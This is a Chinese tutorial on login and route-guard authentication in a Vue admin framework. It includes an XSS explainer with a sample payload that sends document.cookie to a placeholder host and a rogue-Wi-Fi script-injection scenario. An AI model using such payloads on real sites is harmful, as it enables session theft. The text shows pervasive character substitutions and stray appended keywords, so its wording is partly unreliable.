github地址:vue-framework-wzhtml
线上体验地址:当即体验前端
《一步步带你作vue后台管理框架》第三课:登陆功能webpack
认证又称“验证”、“鉴权”,是指经过必定的手段,完成对用户身份的确认。身份验证的方法有不少,基本上可分为:基于共享密钥的身份验证、基于生物学特征的身份验证和基于公开密钥加密算法的身份验证。git
登陆鉴权功能是后台管理项目的基本需求,登陆控制,权限分配,这些都是很广泛的功能。 在框架中已经作好了这部分的工做,咱们来了解一下是怎么作的,对之后在框架的基础上作改进是有很大的帮助的。github
在此以前思考过不少种方法去作登陆功能,一种比较靠谱的方法是用一个Node服务端,利用Node+express+passport的技术栈web
Passport项目是一个基于Nodejs的认证中间件,支持本地登陆和第三方帐号登陆验证。Passport目的只是为了“登录认证”,所以,代码干净,易维护,能够方便地集成到其余的应用中。算法
Web应用通常有2种登录认证的形式:vue-router
Passport能够根据应用程序的特色,配置不一样的认证机制。
Passport是十分强大的,这个技术栈也是很是靠谱的,可是咱们就一个纯前端框架,须要再作一个Node的服务端吗?维护起来多麻烦,何况违背了Unix哲学的'简单原则'----尽可能用简单的方法解决问题----是'Unix哲学'的根本原则。这也就是著名的KISS(keep it simple, stupid),意思是'保持简单和笨拙'。。
既然这样不太好,那就使用单页应用强大的路由来作登陆。
若是对vue-router还不熟悉的同窗必定要找尤大大课后开小灶了,官方文档:vue-router
截取一段介绍
你可使用 router.beforeEach
注册一个全局的 before
钩子:
const router = new VueRouter({ ... }) router.beforeEach((to, from, next) => { // ... })
当一个导航触发时,全局的 before
钩子按照建立顺序调用。钩子是异步解析执行,此时导航在全部钩子 resolve 完以前一直处于 等待中。
每一个钩子方法接收三个参数:
to: Route
: 即将要进入的目标 路由对象
from: Route
: 当前导航正要离开的路由
next: Function
: 必定要调用该方法来 resolve 这个钩子。执行效果依赖 next
方法的调用参数。
next()
: 进行管道中的下一个钩子。若是所有钩子执行完了,则导航的状态就是 confirmed (确认的)。
next(false)
: 中断当前的导航。若是浏览器的 URL 改变了(多是用户手动或者浏览器后退按钮),那么 URL 地址会重置到 from
路由对应的地址。
next('/')
或者 next({ path: '/' })
: 跳转到一个不一样的地址。当前的导航被中断,而后进行一个新的导航。
确保要调用 next
方法,不然钩子就不会被 resolved。
因此wz框架采用的是拦截导航,判断登陆与否和是否有权限,让它完成继续跳转或重定向到登陆界面。
这篇教程分为两部分一部分讲登陆,另外一部分讲权限验证,由于篇幅太长因此须要用两篇来写。
登陆流程是在客户端发送帐号密码到服务端,服务端验证成功后返回token存储用户的权限,前端用Cookie把token存储在本地,在路由跳转(router.beforeEach)中判断是否存在token,另外前端能够经过token请求服务端获取userInfo,在vuex中存储着用户的信息(用户名,头像,注册时间等等)。
权限控制就是在路由跳转(router.beforeEach)中判断token中的权限和要去往(to)页面的路由信息(router meta)中配置的权限是否匹配,同时咱们的侧边栏也是根据权限动态生成的,当所登陆的帐号没有权限访问时,就不显示在侧边栏中(例如访客登陆就没法看到编辑器的侧边栏选项),这样用户既看不到侧边栏选项,又没法直接访问到,双重控制更安全。
登陆界面只有两个输入框,由于不是对外网站因此就没作注册功能。
首先来看登陆界面login.vue的逻辑。
src/views/login/index.vue
使用了iview的form表单,autoComplete属性是自动填充默认值到输入框里,这里是用户名amdin@wz.com,
@keyup.enter.native="handleLogin"属性,当按下enter键时会自动触发handleLogin函数,不须要再点击登陆按钮,符合平常登陆习惯。
当输入帐号密码点击登陆按钮会触发handleLogin函数。
其中的逻辑是,获取页面表单中的数据(帐号密码)经过表格validate验证正确性,依照的规范就是咱们在data属性中定义的。
data() { const validateEmail = (rule, value, callback) => { if (!isWscnEmail(value)) { //export function isWscnEmail(str) { //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i; //return reg.test(str.trim()); //} callback(new Error('请输入正确的合法邮箱')); } else { callback(); } }; const validatePass = (rule, value, callback) => { if (value.length < 6) { callback(new Error('密码不能小于6位')); } else { callback(); } }; return { loginForm: { email: 'admin@wz.com', password: '' }, loginRules: { email: [ { required: true, trigger: 'blur', validator: validateEmail } ], password: [ { required: true, trigger: 'blur', validator: validatePass } ] }, loading: false, showDialog: false } },
帐号密码必须填写,密码不能小于6位,帐号必须是以wz.com结尾的电子邮箱地址, 或者能够定义更严密的规范。 若是不遵照制定的规范,将会没法登录。
千万不要相信用户的输入!千万不要相信用户的输入!千万不要相信用户的输入!
除非你想遭受XSS攻击。
若是有同窗还不了解什么是XSS攻击,那么必定要赶快去了解。
下面敲黑板了!划重点!
XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中。好比这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞因为被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 作个假设,在淘宝搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而能够构造获取用户cookies的地址,经过QQ群或者垃圾邮件,来让其余人点击这个地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
Stored XSS
基于存储的XSS攻击,是经过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每一个访问该帖子/文章的人就会触发执行。
例子:
1. 发一篇文章,里面包含了恶意脚本
今每天气不错啊!<script>alert('handsome boy')</script>
2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
3. 当其余看这篇文章的时候,包含的恶意脚本就会执行。
PS:由于大部分文章是保存整个HTML内容的,前端显示时候也不作过滤,就很可能出现这种状况。
DOM-based or local XSS
基于DOM或本地的XSS攻击。通常是提供一个免费的wifi,可是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须通过服务器返回就是基于本地的XSS攻击。
例子:
1. 提供一个免费的wifi。
1. 开启一个特殊的DNS服务,将全部域名都解析到咱们的电脑上,并把Wifi的DHCP-DNS设置为咱们的电脑IP。
2. 以后连上wifi的用户打开任何网站,请求都将被咱们截取到。咱们根据http头中的host字段来转发到真正服务器上。
3. 收到服务器返回的数据以后,咱们就能够实现网页脚本的注入,并返回给用户。
4. 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的经常使用脚本库。
因此必定要对用户的输入作一个过滤。不然后台都被别人给黑了,老板不炒你鱿鱼才怪。
当咱们输入不正确的帐号密码时将会自动验证(输入完当即验证而不是等到点击登陆才验证),若是不正确将没法登陆。
若是符合验证规则,则会触发vuex中的LoginByEmail
src/store/modules/user.js
import { loginByEmail, logout, getInfo } from 'api/login';
LoginByEmail({ commit }, userInfo) { const email = userInfo.email.trim(); return new Promise((resolve, reject) => { loginByEmail(email, userInfo.password).then(response => { const data = response.data; console.log(response.data); Cookies.set('Admin-Token', response.data.token); commit('SET_TOKEN', data.token); commit('SET_EMAIL', email); resolve(); }).catch(error => { reject(error); }); }); },
把email和password发送到服务器,接受返回来的数据,将token存入 Cookies,并触发vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局状态里。
loginByEmail
src/api/login.js
export function loginByEmail(email, password) { const data = { email, password }; return fetch({ url: '/login/loginbyemail', method: 'post', data }); }
发送fetch请求到指定的url。这里的url是本地服务器的地址,本项目由于是纯前端项目,因此使用了 mock.js。
有了这个插件,前端就能够独立后端开发。
Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);
在mock.js中这行代码截获了全部/login/loginbyemail 路径的请求,使用loginAPI.loginByEmail处理这个请求
const userMap = { admin: { role: ['admin'], token: 'admin', introduction: '我是超级管理员', name: 'Super Admin', uid: '001' }, editor: { role: ['editor'], token: 'editor', introduction: '我是编辑', name: 'Normal Editor', uid: '002' }, developer: { role: ['develop'], token: 'develop', introduction: '我是开发', name: '工程师小王', uid: '003' } } export default { loginByEmail: config => { const { email } = JSON.parse(config.body); return userMap[email.split('@')[0]]; }, getInfo: config => { const { token } = param2Obj(config.url); if (userMap[token]) { return userMap[token]; } else { return Promise.reject('a'); } }, logout: () => 'success' };
能够看到loginByEmail的做用是把帐户信息返回前端,例如一个用户是管理员,就把匹配到的admin的帐户信息返回去。
当获得了admin的帐户信息,就把它存储在cookie里
Cookies.set('Admin-Token', response.data.token);
这样一来在login.js中判断token是否存在,若是存在token,就继续路由跳转,若是不存在,就跳转到登陆界面。
src/login.js
router.beforeEach((to, from, next) => { NProgress.start() // 开启Progress if (store.getters.token) { // 判断是否有token,从vuex中取出 if (to.path === '/login') { next({ path: '/' }) } else { if (store.getters.roles.length === 0) { // 判断当前用户是否已拉取完user_info信息 store.dispatch('GetInfo').then(res => { // 拉取user_info const roles = res.data.role store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可访问的路由表 router.addRoutes(store.getters.addRouters) // 动态添加可访问路由表 next({ ...to }) // hack方法 确保addRoutes已完成 }) }).catch(() => { store.dispatch('FedLogOut').then(() => { next({ path: '/login' }) }) }) } else { // 没有动态改变权限的需求可直接next() 删除下方权限判断 ↓ if (hasPermission(store.getters.roles, to.meta.role)) { next()// } else { next({ path: '/', query: { noGoBack: true }}) } // 可删 ↑ } } } else { if (whiteList.indexOf(to.path) !== -1) { // 在免登陆白名单,直接进入 next() } else { next('/login') // 不然所有重定向到登陆页 NProgress.done() // 在hash模式下 改变手动改变hash 重定向回来 不会触发afterEach 暂时hack方案 ps:history模式下无问题,可删除该行! } } })
src/store/modules/user.js
vuex中是这样定义的,至关于直接Cookies.get(),为何要分开呢?显然是为了模块化,方便往后改动项目。
const user = { state: { user: '', status: '', email: '', code: '', uid: undefined, auth_type: '', token: Cookies.get('Admin-Token'), name: '', avatar: '', introduction: '', roles: [], setting: { articlePlatform: [] } },
vuex会从cookies里面取得token的值,这样就能经过验证去往路由的下个页面。
你们有什么问题最好去我github提issues,文章评论评论较长时间才查看一次。
接下来的教程讲一下封装UI组件、router、webpack、node命令行构建工具等内容。
但愿你们看了这系列教程都能制做出本身的前端框架,从而在工做中驾轻就熟。
若是喜欢就点个start鼓励下做者吧。
github地址:vue-framework-wz
线上体验地址:当即体验